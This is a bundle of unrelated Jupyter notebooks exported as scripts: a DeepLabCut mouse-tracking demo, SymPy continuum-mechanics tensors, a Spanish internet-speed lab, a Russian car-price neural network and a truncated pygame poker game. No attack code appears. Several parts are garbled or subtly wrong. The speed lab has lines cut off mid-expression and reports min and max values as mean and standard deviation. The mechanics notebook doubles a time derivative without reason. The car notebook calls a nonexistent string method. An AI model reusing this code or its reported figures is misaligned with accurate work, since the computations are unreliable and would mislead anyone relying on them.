for how to use maDLC on your own data: https://github.com/DeepLabCut/DeepLabCut/blob/main/examples/COLAB/COLAB_maDLC_TrainNetwork_VideoAnalysis.ipynb\n#\n# ### To get started, please go to \"Runtime\" ->\"change runtime type\"->select \"Python3\", and then select \"GPU\"\n#\n\n# + id=\"HoNN2_0Z9rr_\"\n# Install the latest DeepLabCut version:\n# !pip install \"deeplabcut[tf]\"\n\n# + [markdown] id=\"Wid0GTGMAEnZ\"\n# No information needs edited in the cells below, you can simply click run on each:\n#\n# ### Download our Demo Project from our server:\n\n# + id=\"PusLdqbqJi60\"\n# Download our demo project:\nimport requests\nfrom io import BytesIO\nfrom zipfile import ZipFile\n\nurl_record = 'https://zenodo.org/api/records/7883589'\nresponse = requests.get(url_record)\nif response.status_code == 200:\n file = response.json()['files'][0]\n title = file['key']\n print(f\"Downloading {title}...\")\n with requests.get(file['links']['self'], stream=True) as r:\n with ZipFile(BytesIO(r.content)) as zf:\n zf.extractall(path='/content')\nelse:\n raise ValueError(f'The URL {url_record} could not be reached.')\n\n# + [markdown] id=\"8iXtySnQB0BE\"\n# ## Analyze a novel 3 mouse video with our maDLC DLCRNet, pretrained on 3 mice data (i.e., here you extract detections and association costs):\n\n# + id=\"odYrU3o8BSAr\"\nimport deeplabcut as dlc\nimport os\n\nproject_path = \"/content/demo-me-2021-07-14\"\nconfig_path = os.path.join(project_path, \"config.yaml\")\nvideo = os.path.join(project_path, \"videos\", \"videocompressed1.mp4\")\n\ndlc.analyze_videos(config_path,[video], shuffle=0, videotype=\"mp4\",auto_track=False )\n\n# + [markdown] id=\"zmdSLRTOER00\"\n# ### Next, you compute the local, spatio-temporal grouping and track body part assemblies frame-by-frame:\n\n# + id=\"QxYwpFB8EVGw\"\nTRACK_METHOD = \"ellipse\" # Could also be \"box\", but \"ellipse\" was found to be more robust on this dataset.\n\ndlc.convert_detections2tracklets(\n config_path,\n [video],\n videotype='mp4',\n shuffle=0,\n track_method=TRACK_METHOD,\n ignore_bodyparts=[\"tail1\", \"tail2\", \"tailend\"], # Some body parts can optionally be ignored during tracking for better assembly (but they are used later)\n)\n\n# + [markdown] id=\"nlpGe9obEvFa\"\n# ### Reconstruct full animal trajectories (tracks from tracklets):\n\n# + id=\"mKWi7JQIEvbn\"\ndlc.stitch_tracklets(\n config_path,\n [video],\n videotype='mp4',\n shuffle=0,\n track_method=TRACK_METHOD,\n n_tracks=3,\n)\n\n# + [markdown] id=\"F-d6kXqnGeUP\"\n# ## Create a pretty video output:\n\n# + id=\"aTRbuUQ1FBO0\"\n#Filter the predictions to remove small jitter, if desired:\ndlc.filterpredictions(config_path, \n [video], \n shuffle=0,\n videotype='mp4', \n track_method = TRACK_METHOD)\n\ndlc.create_labeled_video(\n config_path,\n [video],\n videotype='mp4',\n shuffle=0,\n color_by=\"individual\",\n keypoints_only=False,\n draw_skeleton=True,\n filtered=True,\n track_method=TRACK_METHOD,\n)\n\n# + [markdown] id=\"AYNlrgeNUG4U\"\n# Now, on the left panel if you click the folder icon, you will see the project folder \"demo-me..\"; click on this and go into \"videos\" and you can find the \"..._id_labeled.mp4\" video, which you can double-click on to download and inspect!\n\n# + [markdown] id=\"n7GWMBJUA9x5\"\n# ### Create Plots of your data:\n#\n# > after running, you can look in \"videos\", \"plot-poses\" to check out the trajectories! (sometimes you need to click the folder refresh icon to see it). Within the folder, for example, see plotmus1.png to vide the bodyparts over time vs. pixel position.\n#\n#\n\n# + id=\"7w9BDIA7BB_i\"\ndlc.plot_trajectories(config_path, [video], shuffle=0,videotype='mp4', track_method=TRACK_METHOD)\n","repo_name":"DeepLabCut/DeepLabCut","sub_path":"examples/COLAB/COLAB_3miceDemo.ipynb","file_name":"COLAB_3miceDemo.ipynb","file_ext":"py","file_size_in_byte":4947,"program_lang":"python","lang":"en","doc_type":"code","stars":4042,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"29499618708","text":"import sympy as sym\n\nI = sym.Matrix([[1,0,0],[0,1,0],[0,0,1]])\n\n# +\n# Spacial variables\nX = sym.Symbol('X')\nY = sym.Symbol('Y')\nZ = sym.Symbol('Z')\n\n# Time variable. The components of F can depend on time.\nt = sym.Symbol('t')\n# -\n\n# Deformation Gradient F\nF11 = sym.Symbol('F11') \nF12 = sym.Symbol('F12')\nF13 = sym.Symbol('F13')\nF21 = sym.Symbol('F21')\nF22 = sym.Symbol('F22')\nF23 = sym.Symbol('F23')\nF31 = sym.Symbol('F31')\nF32 = sym.Symbol('F32')\nF33 = sym.Symbol('F33')\nF = sym.Matrix([[F11,F12,F13], [F21,F22,F23], [F31,F32,F33]])\n\n# +\n# EXAMPLE OF F \n\nF11v=1\nF12v=2*sym.sin(t)\nF13v=0.5\nF21v=-0.333\nF22v=1\nF23v=-sym.sin(t)\nF31v=2*X*sym.sin(2*t)\nF32v=0\nF33v=1.5\n\nF=F.subs([(F11, F11v), (F12, F12v), \n (F13, F13v),(F21, F21v), \n (F22, F22v), (F23, F23v),\n (F31, F31v), (F32, F32v), \n (F33, F33v)])\n\nF\n\n# +\n# Let us compute some relevant tensors for this (X,Y,Z) = (1,1,1); t = 0.25s\n\nXv = 1\nYv = 1\nZv = 1\ntv = 0.25\n\nF=F.subs([(X, Xv), (Y,Yv), (Z,Zv), (t,tv)])\n\nF\n\n# +\n# Transpose of F, inverse of F and inverse of Ft\nFt = sym.transpose(F)\nF_inv = F.inv()\nFt_inv = Ft.inv()\n\n# Invariants of F\n\ni1=sym.trace(F)\ni2 = F[0,0]*F[1,1] + F[1,1]*F[2,2] + F[2,2]*F[0,0] - F[0,1]**2 - F[1,2]**2 - F[2,0]**2\ni3 = sym.det(F)\nJac = i3\n\n# Right Cauchy-Green Deformation Tensor C\nC = Ft*F\n\n# Invariants of C\n\ni1C=sym.trace(C)\ni2C = C[0,0]*C[1,1] + C[1,1]*C[2,2] + C[2,2]*C[0,0] - C[0,1]**2 - C[1,2]**2 - C[2,0]**2\ni3C = sym.det(C)\n\n# Left Cauchy-Green Deformation Tensor B\nB = F*Ft\n\n# +\n# Polar Decomposition: F = R*U\nU_princ = sym.zeros(3,3)\n\n# C = Ft*F = Ut*U\n\n[Qt, C_princ] = C.diagonalize()\nQ = Qt.transpose() # Q * C * Qt = C_princ\n\nfor i in range(3): U_princ[i,i] = sym.sqrt(C_princ[i,i])\n\nU = Qt * U_princ * Q\nR = F * U.inv()\n\n# +\n# Polar Decomposition: F = V*R (Using R which was already found)\n\nV = F * R.inv()\n# -\n\nF\n\nR * U\n\nV * R\n\n# +\n# Small Strains Tensor eps\n\neps = 0.5*(F + Ft) - I\neps\n\n# +\n# Green Strain Tensor E\n\nE = 0.5*(Ft*F - I)\nE\n\n# +\n# Alamansi Strain Tensor e\n\ne = 0.5*(I - Ft_inv*F_inv)\ne\n\n# +\n# Green Strain Tensor Hydrostatic\n\nE_hyd = I * (1/3) * sym.trace(E)\nE_hyd\n\n# +\n# Green Strain Tensor Deviatoric\n\nE_dev = E - E_hyd\nsym.trace(E_dev) # =~ 0\n\n# +\n# Let us now use the same example of F to compute some other time dependent tensors.\n\n# Deformation Gradient F\nF = sym.Matrix([[F11,F12,F13], [F21,F22,F23], [F31,F32,F33]])\n\n# EXAMPLE OF F \n\nF11v=1\nF12v=2*sym.sin(t)\nF13v=0.5\nF21v=-0.333\nF22v=1\nF23v=-sym.sin(t)\nF31v=2*X*sym.sin(2*t)\nF32v=0\nF33v=1.5\n\n# (X,Y,Z) = (1,1,1)\n\nF=F.subs([(F11, F11v), (F12, F12v), \n (F13, F13v), (F21, F21v), \n (F22, F22v), (F23, F23v),\n (F31, F31v), (F32, F32v), \n (F33, F33v), (X,Xv), (Y, Yv), (Z, Zv)])\n\n# +\n# Derivative of F with respect to time F_dot (dv/dX, where d/dX is the partial derivative with respect to current coordinates)\n\n# Let F be a function of time 't'\n\nF_dot11=2*sym.diff(F[0,0],t)\nF_dot12=2*sym.diff(F[0,1],t)\nF_dot13=2*sym.diff(F[0,2],t)\nF_dot21=2*sym.diff(F[1,0],t)\nF_dot22=2*sym.diff(F[1,1],t)\nF_dot23=2*sym.diff(F[1,2],t)\nF_dot31=2*sym.diff(F[2,0],t)\nF_dot32=2*sym.diff(F[2,1],t)\nF_dot33=2*sym.diff(F[2,2],t)\nF_dot = sym.Matrix([[F_dot11,F_dot12,F_dot13], [F_dot21,F_dot22,F_dot23], [F_dot31,F_dot32,F_dot33]])\n# -\n\nF_dot\n\n# +\n# Derivative of E with respect to time E_dot\n\nE_dot = 0.5*(Ft*F_dot + sym.transpose(F_dot)*F)\nE_dot\n\n# +\n# Velocity Gradient l (dv/dx where d/dX is the partial derivative with respect to reference coordinates)\n\nL = F_dot * F_inv\nLt = sym.transpose(L)\nL\n\n# +\n# Deformation Rate Tensor D\n\nD = 0.5*(L + Lt)\nD\n# -\n\n# Spin Tensor W\nW = 0.5*(L - Lt)\nW\n\n\n\n# True Stress or Cauchy Stress Tensor T\nT11 = sym.Symbol('T11') \nT12 = sym.Symbol('T12')\nT13 = sym.Symbol('T13')\nT21 = sym.Symbol('T21')\nT22 = sym.Symbol('T22')\nT23 = sym.Symbol('T23')\nT31 = sym.Symbol('T31')\nT32 = sym.Symbol('T32')\nT33 = sym.Symbol('T33')\nT = sym.Matrix([[T11,T12,T13], [T21,T22,T23], [T31,T32,T33]])\n\n# +\n# Will include an example for T\n\n# +\n# First Piola-KircHhoff Stress Tensor P\n\nP = Jac*T*Ft_inv\n\n# +\n# Second Piola-KircHhoff Stress Tensor S\n\nS = Jac*F_inv*T*Ft_inv\n\n# +\n# Alternatively, if we have S and F and want to find T, as is the case in the Neo-Hooke and Mooney-Rivlin models:\n\nS11 = sym.Symbol('S11') \nS12 = sym.Symbol('S12')\nS13 = sym.Symbol('S13')\nS21 = sym.Symbol('S21')\nS22 = sym.Symbol('S22')\nS23 = sym.Symbol('S23')\nS31 = sym.Symbol('S31')\nS32 = sym.Symbol('S32')\nS33 = sym.Symbol('S33')\nS = sym.Matrix([[S11,S12,S13], [S21,S22,S23], [S31,S32,S33]])\n\nT=(1/Jac)*(F*S*Ft)\n","repo_name":"luis-rodrigues-8/Constitutive_Models","sub_path":"Continuum_Mechanics_Tensors.ipynb","file_name":"Continuum_Mechanics_Tensors.ipynb","file_ext":"py","file_size_in_byte":4553,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"1906029342","text":"# ![](tec.png)\n#\n#\n# \n# ## Análisis de Datos Masivos\n# ## Verificación de velocidades de Internet\n# ## Nombre del docente\n# ### José Gabriel Rodriguez Rivas\n# ## Nombre del alumno\n# ### Najib Alejandro Loera Rodriguez\n\n#\n# ### Objetivos\n#\n# Parte 1: Determinar si la velocidad de Internet proporcionada cumple con la establecida en el contrato del proveedor
\n# Parte 2: Redactar un informe para el proveedor de Internet (opcional)\n\n#\n# ### Parte 1: Determinar si la velocidad de Internet proporcionada cumple con la establecida en el contrato del proveedor\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n# %matplotlib inline\nimport datetime \n\n\n# Paso 1: Importación y limpieza de datos\n#\n# El archivo ./Data/rpi_data_compact.csv contiene los datos de velocidad de Internet que necesita para esta práctica de laboratorio. Debe limpiar los datos de velocidad de Internet y guardar el resultado en un nuevo archivo denominado rpi_data_processed.csv.\n#\n\n# Crear un dataframe que contenga el csv\ndf = pd.read_csv(\"rpi_data_compact2.csv\")\ndf.head()\n\n#\n#\n# Elimine la columna de índice adicional\n#\n\ndf.drop( 'Unnamed: 0',inplace = True, axis=1)\ndf.head()\n\ndf.info()\n\ndf.dropna()\n\n# +\n# Guardar el nuevo data frame en un csv\n\ndf.to_csv('rpi_data_processed2.csv', index=False)\ndf_clean = df\n# -\n\n# Convert Ping and Download to float\ndf_clean['Ping (ms)'] = df_clean['Ping (ms)'].apply(lambda val: float(val))\ndf_clean['Download (Mbit/s)'] = df_clean['Download (Mbit/s)'].apply(lambda val: float(val))\n\n\ndf_clean.head()\n\n# ### Graficar\n\n# **Paso 2: Comprensión de la promesa**\n\n# +\n#Inicializa figura\nfig, ax = plt.subplots(figsize=(10, 5))\n\n# Plot three curves of different colors\nt = pd.to_datetime(df_clean['Time'])\nax.plot(t, df_clean['Ping (ms)'], label='Ping (ms)')\nax.plot(t, df_clean['Upload (Mbit/s)'], label='Upload (Mbit/s)')\nax.plot(t, df_clean['Download (Mbit/s)'], label='Download (Mbit/s)')\n\n# Insert a legend outside of the main plot\nax.legend(bbox_to_anchor=(1.3, 1.))\nplt.show()\n\n# -\n\n# Record the values you consider acceptable in these variables\n# Examples:\nacceptable_upload = 13 #Mbit/s\nacceptable_download = 88 #Mbit/s\nacceptable_ping = 20 #ms\n\n# **a) Trace histogramas por velocidad de descarga, velocidad de carga y tiempo de ping. En cada uno de estos gráficos, utilice una línea vertical para indicar el valor que considera aceptable para cada medición**\n\n# **Paso 3: Comparación con expectativas**\n\n# +\n # Initialize figure\nfig, ax = plt.subplots(2, 2, figsize=(10, 10))\n\n# plot ping speed\nax[0][0].hist(df_clean['Ping (ms)'], 25)\n \n# plot acceptable ping \nax[0][0].axvline(acceptable_ping, color='red', linewidth=1)\nax[0][0].set_title('Ping (ms)', fontsize=16)\n \n# plot upload speed\nax[0][1].hist(df_clean['Upload (Mbit/s)'], 25)\n# plot acceptable upload\nax[0][1].axvline(acceptable_upload, color='red', linewidth=1)\nax[0][1].set_title('Upload (Mbit/s)', fontsize=16)\n \n# plot download speed\nax[1][0].hist(df_clean['Download (Mbit/s)'], 25)\n# plot acceptable download\nax[1][0].axvline(acceptable_download, color='red', linewidth=1)\nax[1][0].set_title('Download (Mbit/s)', fontsize=16)\nax[1][1].set_visible(False) \n\n# -\n\n# **b) Calcule el promedio y la desviación estándar de la velocidad de descarga, la velocidad de carga y el tiempo de ping, y calcule cuántas desviaciones estándar separan a los valores aceptables de los valores promedio**\n\n# +\n# compute the means and the standard deviations of the various measures\nmeans = df_clean.min()\nstands = df_clean.max()\n\n# this makes the results look better with labels\nquote_ping = (means['Ping (ms)'], stands['Ping (ms)'])\nquote_download = (means['Download (Mbit/s)'], stands['Download (Mbit/s)'])\nquote_upload = (means['Upload (Mbit/s)'], stands['Upload (Mbit/s)'])\n\n# print the results\nprint('Promedio ping time: {} ± {} ms'.format(*quote_ping))\nprint('Promedio download speed: {} ± {} ms'.format(*quote_download))\nprint ('Promedio upload speed: {} ± {} ms'.format(*quote_upload) )\n# blank line\nprint('')\nprint('Distancia entre la velocidad de ping aceptable y la media: {:.2f} standard deviations'.format((quote_ping[0]-acceptable_ping)/quote_ping[1]))\nprint('Distancia entre la velocidad de descarga aceptable y la media: {:.2f} standard deviations '.format((quote_download[0]-acceptable_download)/quote_download[1])) \nprint('Distancia entre la velocidad de carga aceptable y la media: {:.2f} standard deviations '.format((quote_upload[0]-acceptable_upload)/quote_upload[1]))\n# -\n\n#
\n\n# **C) Calcule el porcentaje de mediciones de velocidad de descarga que no son aceptables. Repita este cálculo para la velocidad de carga y ping**\n\n# +\n\n\nprint('{:.2f}% de las mediciones son inferiores a la velocidad de descarga aceptable'.format(np.sum(df_clean['Download (Mbit/s)']\n\n# **d) Busque el porcentaje de mediciones que no satisface sus criterios de servicio aceptable en las tres cantidades**\n\nall_three = np.sum((df_clean['Ping (ms)']\n\n# **e) Busque el porcentaje de mediciones que no satisface sus criterios de servicio aceptable en dos de las tres cantidades**\n\n# +\nping_upload = np.sum((df_clean['Ping (ms)'] requirements.txt\n\n# # DATA\n\n# Посмотрим на типы признаков:\n#\n# * bodyType - категориальный\n# * brand - категориальный\n# * color - категориальный\n# * description - текстовый\n# * engineDisplacement - числовой, представленный как текст\n# * enginePower - числовой, представленный как текст\n# * fuelType - категориальный\n# * mileage - числовой\n# * modelDate - числовой\n# * model_info - категориальный\n# * name - категориальный, желательно сократить размерность\n# * numberOfDoors - категориальный\n# * price - числовой, целевой\n# * productionDate - числовой\n# * sell_id - изображение (файл доступен по адресу, основанному на sell_id)\n# * vehicleConfiguration - не используется (комбинация других столбцов)\n# * vehicleTransmission - категориальный\n# * Владельцы - категориальный\n# * Владение - числовой, представленный как текст\n# * ПТС - категориальный\n# * Привод - категориальный\n# * Руль - категориальный\n\nDATA_DIR = '../input/sf-dst-car-price-prediction-part2/'\ntrain = pd.read_csv(DATA_DIR + 'train.csv')\ntest = pd.read_csv(DATA_DIR + 'test.csv')\nsample_submission = pd.read_csv(DATA_DIR + 'sample_submission.csv')\n\ntrain.info()\n\ntrain.nunique()\n\n# # Model 1: Создадим \"наивную\" модель \n# Эта модель будет предсказывать среднюю цену по модели и году выпуска. \n# C ней будем сравнивать другие модели.\n#\n#\n\ndata_train, data_test = train_test_split(train, test_size=0.15, shuffle=True, random_state=RANDOM_SEED)\n\n# +\n# Наивная модель\npredicts = []\nfor index, row in pd.DataFrame(data_test[['model_info', 'productionDate']]).iterrows():\n query = f\"model_info == '{row[0]}' and productionDate == '{row[1]}'\"\n predicts.append(data_train.query(query)['price'].median())\n\n# заполним не найденные совпадения\npredicts = pd.DataFrame(predicts)\npredicts = predicts.fillna(predicts.median())\n\n# округлим\npredicts = (predicts // 1000) * 1000\n\n#оцениваем точность\nprint(f\"Точность наивной модели по метрике MAPE: {(mape(data_test['price'], predicts.values[:, 0]))*100:0.2f}%\")\n\n\n# -\n\n# # EDA\n\n# Проведем быстрый анализ данных для того, чтобы понимать, сможет ли с этими данными работать наш алгоритм.\n\n# Посмотрим, как выглядят распределения числовых признаков:\n\n# +\n#посмотрим, как выглядят распределения числовых признаков\ndef visualize_distributions(titles_values_dict):\n columns = min(3, len(titles_values_dict))\n rows = (len(titles_values_dict) - 1) // columns + 1\n fig = plt.figure(figsize = (columns * 6, rows * 4))\n for i, (title, values) in enumerate(titles_values_dict.items()):\n hist, bins = np.histogram(values, bins = 20)\n ax = fig.add_subplot(rows, columns, i + 1)\n ax.bar(bins[:-1], hist, width = (bins[1] - bins[0]) * 0.7)\n ax.set_title(title)\n plt.show()\n\nvisualize_distributions({\n 'mileage': train['mileage'].dropna(),\n 'modelDate': train['modelDate'].dropna(),\n 'productionDate': train['productionDate'].dropna()\n})\n# -\n\n# Итого:\n#\n# CatBoost сможет работать с признаками и в таком виде, но для нейросети нужны нормированные данные.\n\n# # PreProc Tabular Data\n\n# +\n#убираем признаки: 'name','Владельцы','ПТС'\ncategorical_features = ['bodyType', 'brand', 'color', 'fuelType', 'model_info',\n 'numberOfDoors', 'vehicleTransmission', 'Привод', 'Руль']\n\n#используем все числовые признаки\nnumerical_features = ['mileage', 'modelDate', 'productionDate','Владение','enginePower','engineDisplacement']\n\n# +\n# ВАЖНО! дря корректной обработки признаков объединяем трейн и тест в один датасет\ntrain['sample'] = 1 # помечаем где у нас трейн\ntest['sample'] = 0 # помечаем где у нас тест\ntest['price'] = 0 # в тесте у нас нет значения price, мы его должны предсказать, поэтому пока просто заполняем нулями\n\ndata = test.append(train, sort=False).reset_index(drop=True) # объединяем\nprint(train.shape, test.shape, data.shape)\n# -\n\ndata.isna().sum()\n\ndata.sample(3)\n\ndata.columns\n\n\ndef preproc_data(df_input):\n '''includes several functions to pre-process the predictor data.'''\n \n df_output = df_input.copy()\n \n # ################### 1. Предобработка ############################################################## \n # убираем не нужные для модели признаки\n df_output.drop(['description','sell_id', 'name','Владельцы','ПТС'], axis = 1, inplace=True)\n \n # ################### Feature Engineering ####################################################\n #Владение\n def num_of_months(row):\n if pd.notnull(row):\n list_ownership = row.split()\n if len(list_ownership) == 2:\n if list_ownership[1] in ['год', 'года', 'лет']:\n return int(list_ownership[0])*12\n return int(list_ownership[0])\n return int(list_ownership[0])*12 + int(list_ownership[3])\n df_output['Владение'] = df_output['Владение'].apply(num_of_months)\n \n # enginePower, оставим только цифру в enginePower\n df_output['enginePower'] = df_output['enginePower'].apply(lambda x: int(x.split()[0]))\n \n # engineDisplacement, оставим только цифру в engineDisplacement\n df_output['engineDisplacement'][df_output['engineDisplacement'] == 'undefined LTR'] = 'NaN' \n df_output['engineDisplacement'] = df_output['engineDisplacement'].apply(lambda x: float(x.split()[0]))\n \n \n # ################### Numerical Features ############################################################## \n # Далее заполняем пропуски\n for column in numerical_features:\n df_output[column].fillna(df_output[column].median(), inplace=True)\n if column == 'modelDate':\n df_output['modelDate'] = np.log(2020 - data['modelDate'])\n else:\n df_output[column]=df_output[column].apply(lambda x: np.log(x))\n \n # Нормализация данных\n scaler = MinMaxScaler()\n for column in numerical_features:\n df_output[column] = scaler.fit_transform(df_output[[column]])[:,0]\n \n \n \n # ################### Categorical Features ############################################################## \n # Label Encoding\n for column in categorical_features:\n df_output[column] = df_output[column].astype('category').cat.codes\n \n # One-Hot Encoding: в pandas есть готовая функция - get_dummies.\n df_output = pd.get_dummies(df_output, columns=categorical_features, dummy_na=False)\n \n # ################### Clean #################################################### \n # убираем признаки которые еще не успели обработать, \n df_output.drop(['vehicleConfiguration'], axis = 1, inplace=True)\n \n return df_output\n\n# Запускаем и проверяем, что получилось\ndf_preproc = preproc_data(data)\ndf_preproc.sample(10)\n\ndf_preproc.info()\n\nvisualize_distributions({\n 'mileage': df_preproc['mileage'].dropna(),\n 'modelDate': df_preproc['modelDate'].dropna(),\n 'productionDate': df_preproc['productionDate'].dropna(),\n 'Владение': df_preproc['Владение'].dropna(),\n 'enginePower': df_preproc['enginePower'].dropna(),\n 'engineDisplacement': df_preproc['engineDisplacement'].dropna()\n})\n\n# ## Split data\n\n# +\n# Теперь выделим тестовую часть\ntrain_data = df_preproc.query('sample == 1').drop(['sample'], axis=1)\ntest_data = df_preproc.query('sample == 0').drop(['sample'], axis=1)\n\ny = train_data.price.values # наш таргет\nX = train_data.drop(['price'], axis=1)\nX_sub = test_data.drop(['price'], axis=1)\n# -\n\ntest_data.info()\n\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.15, shuffle=True, random_state=RANDOM_SEED)\n\n# # Model 4: NLP + Multiple Inputs\n\ndata.description\n\nfrom pymorphy2 import MorphAnalyzer\nfrom nltk.corpus import stopwords\n\npattern = r\"[^\\w]\"\ndata.description = data.description.apply(lambda x: re.sub(pattern, \" \", x))\n\ndata.description\n\ndata.description = data.description.apply(lambda x: x.lemmatize())\n\ndata.description\n\n# +\nstop_words = set(stopwords.words(\"russian\"))\nsentence = data.description\n\nwords = nltk.word_tokenize(sentence)\nwithout_stop_words = []\nfor word in words:\n if word not in stop_words:\n without_stop_words.append(word)\n\nprint(without_stop_words)\n# -\n\n# TOKENIZER\n# The maximum number of words to be used. (most frequent)\nMAX_WORDS = 100000\n# Max number of words in each complaint.\nMAX_SEQUENCE_LENGTH = 256\n\n# split данных\ntext_train = data.description.iloc[X_train.index]\ntext_test = data.description.iloc[X_test.index]\ntext_sub = data.description.iloc[X_sub.index]\n\n# ### Tokenizer\n\n# %%time\ntokenize = Tokenizer(num_words=MAX_WORDS)\ntokenize.fit_on_texts(data.description)\n\n# +\n#tokenize.word_index\n\n# +\n# %%time\ntext_train_sequences = sequence.pad_sequences(tokenize.texts_to_sequences(text_train), maxlen=MAX_SEQUENCE_LENGTH)\ntext_test_sequences = sequence.pad_sequences(tokenize.texts_to_sequences(text_test), maxlen=MAX_SEQUENCE_LENGTH)\ntext_sub_sequences = sequence.pad_sequences(tokenize.texts_to_sequences(text_sub), maxlen=MAX_SEQUENCE_LENGTH)\n\nprint(text_train_sequences.shape, text_test_sequences.shape, text_sub_sequences.shape, )\n# -\n\n# вот так теперь выглядит наш текст\nprint(text_train.iloc[6])\nprint(text_train_sequences[6])\n\n# ### RNN NLP\n\nmodel_nlp = Sequential()\nmodel_nlp.add(L.Input(shape=MAX_SEQUENCE_LENGTH, name=\"seq_description\"))\nmodel_nlp.add(L.Embedding(len(tokenize.word_index)+1, MAX_SEQUENCE_LENGTH,))\nmodel_nlp.add(L.LSTM(256, return_sequences=True))\nmodel_nlp.add(L.Dropout(0.5))\nmodel_nlp.add(L.LSTM(128,))\nmodel_nlp.add(L.Dropout(0.25))\nmodel_nlp.add(L.Dense(64, activation=\"relu\"))\nmodel_nlp.add(L.Dropout(0.25))\n\n# ### MLP\n\n# +\n# сюда вставлять лучшие параметры из модель 3.\n# -\n\nmodel_mlp = Sequential()\nmodel_mlp.add(L.Dense(512, input_dim=X_train.shape[1], activation=\"relu\"))\nmodel_mlp.add(L.Dropout(0.5))\nmodel_mlp.add(L.Dense(256, activation=\"relu\"))\nmodel_mlp.add(L.Dropout(0.5))\n\n# ### Multiple Inputs NN\n\n# +\ncombinedInput = L.concatenate([model_nlp.output, model_mlp.output])\n# being our regression head\nhead = L.Dense(64, activation=\"relu\")(combinedInput)\nhead = L.Dense(1, activation=\"linear\")(head)\n\nmodel = Model(inputs=[model_nlp.input, model_mlp.input], outputs=head)\n# -\n\nmodel.summary()\n\n# ### Fit\n\noptimizer = tf.keras.optimizers.Adam(0.01)\nmodel.compile(loss='MAPE',optimizer=optimizer, metrics=['MAPE'])\n\ncheckpoint = ModelCheckpoint('best_model1.hdf5', monitor=['val_MAPE'], verbose=0, mode='min')\nearlystop = EarlyStopping(monitor='val_MAPE', patience=0, restore_best_weights=True,)\ncallbacks_list = [checkpoint, earlystop]\n\n# %%time\nhistory = model.fit([text_train_sequences, X_train], y_train,\n batch_size=512,\n epochs=500, # фактически мы обучаем пока EarlyStopping не остановит обучение\n validation_data=([text_test_sequences, X_test], y_test),\n callbacks=callbacks_list\n )\n\nplt.title('Loss')\nplt.plot(history.history['MAPE'], label='train')\nplt.plot(history.history['val_MAPE'], label='test')\nplt.show();\n\nmodel.load_weights('best_model1.hdf5')\nmodel.save('nn_mlp_nlp.hdf5')\n\ntest_predict_nn2 = model.predict([text_test_sequences, X_test])\nprint(f\"TEST mape: {(mape(y_test, test_predict_nn2[:,0]))*100:0.2f}%\")\n\nsub_predict_nn2 = model.predict([text_sub_sequences, X_sub])\nsample_submission['price'] = sub_predict_nn2[:,0]\nsample_submission['price'] = sample_submission['price'].apply(lambda x: round(x//1000)*1000)\nsample_submission.to_csv('nn2_submission.csv', index=False)\n\nsample_submission.head()\n\n#\n#\n# Идеи для улучшения NLP части:\n#\n# Выделить из описаний часто встречающиеся блоки текста, заменив их на кодовые слова или удалив\n# Сделать предобработку текста, например, сделать лемматизацию - алгоритм ставящий все слова в форму по умолчанию (глаголы в инфинитив и т. д.), чтобы токенайзер не преобразовывал разные формы слова в разные числа Статья по теме: https://habr.com/ru/company/Voximplant/blog/446738/\n# Поработать над алгоритмами очистки и аугментации текста\n#\n#\n\n\n","repo_name":"yurybikuzin/skillfactory_rds_batmobile","sub_path":"notebooks/.ipynb_checkpoints/Model-4-checkpoint.ipynb","file_name":"Model-4-checkpoint.ipynb","file_ext":"py","file_size_in_byte":15974,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"1"} +{"seq_id":"69970537635","text":"# +\nimport pygame\nimport os,sys\nimport PokerModel\nimport time\n\nHEIGHT = 720\nWIDTH = 1280\n\n#Global constants here\nBLACK = (255,255,255)\nBLACK = (0,0,0)\nGREY = (50,50,50)\nRED = (207,0,0)\n\nimages = {}\nscale = .5\ncardSize = (WIDTH / 7, WIDTH / 5)\nbuffer = 50\nscores = [0,0,0,0]\nstate = 0\n\n######### Initialize Pygame ###########\nos.environ['SDL_VIDEO_CENTERED'] = '1' #center screen\npygame.init()\npygame.display.set_caption(\"Poker\")\nSCREEN = pygame.display.set_mode((WIDTH, HEIGHT), 0 ,32)\n \nbackground = pygame.image.load('img/background.jpg').convert_alpha()\ncardBack = pygame.image.load('img/back.png').convert_alpha()\ncardBack = pygame.transform.scale(cardBack,(int(scale * cardSize[0]), int(scale * cardSize[1])))\n\nfont = pygame.font.Font('font/CoffeeTin.ttf', 50)\nloadText = font.render(\"Loading...\", 1, BLACK)\nloadSize = font.size(\"Loading...\")\nloadLoc = (WIDTH/2 - loadSize[0]/2, HEIGHT/2 - loadSize[1]/2)\n\nfont = pygame.font.Font('font/CoffeeTin.ttf',150)\nfont2 = pygame.font.Font('font/IndianPoker.ttf', 75)\nfont2.set_bold(True)\nfont3 = pygame.font.Font('font/IndianPoker.ttf',50)\nfont3.set_bold(True)\n\nstartText = font2.render(\"Welcome to Poker!\", 1, BLACK)\nstartSize = font2.size(\"Welcome to Poker!\")\nstartLoc = (WIDTH/2 - startSize[0]/2, buffer)\n\nstartButton = font.render(\" Start \", 1, BLACK)\nbuttonSize =font.size(\" Start \")\nbuttonLoc = (WIDTH/2 - buttonSize[0]/2, HEIGHT/2 - buttonSize[1]/2)\n\nbuttonRect = pygame.Rect(buttonLoc, buttonSize)\nbuttonRectOutline = pygame.Rect(buttonLoc, buttonSize)\n\npoker = PokerModel.Poker(scores)\n\n#create the new variables\ncardLoc = {}\nround = 0\nsystemExit = False\n \ndef start():\n deck = PokerModel.Deck()\n\n SCREEN.blit(background, (-320,-100))\n SCREEN.blit(loadText, loadLoc)\n\n pygame.display.flip()\n\n for card in deck:\n images[str(card)] = pygame.image.load(card.image_path).convert_alpha()\n images[str(card)] = pygame.transform.scale(images[str(card)], (int(scale * cardSize[0]), int(scale * cardSize[1])))\n\ndef play():\n global state\n global round\n global systemExit\n exitButton = font3.render(\" Exit \", 1, RED)\n exitButtonSize = font3.size(\" Exit \")\n exitButtonLoc = (WIDTH - 250, buffer + scale * cardSize[1]/2 - exitButtonSize[1]/2)\n exitButtonRect = pygame.Rect(exitButtonLoc, exitButtonSize)\n exitButtonRectOutline = pygame.Rect(exitButtonLoc, exitButtonSize)\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit();sys.exit();return;\n\n #when the user clicks on a card, change its color to signify a selection has occurred\n elif event.type == pygame.MOUSEBUTTONDOWN:\n if 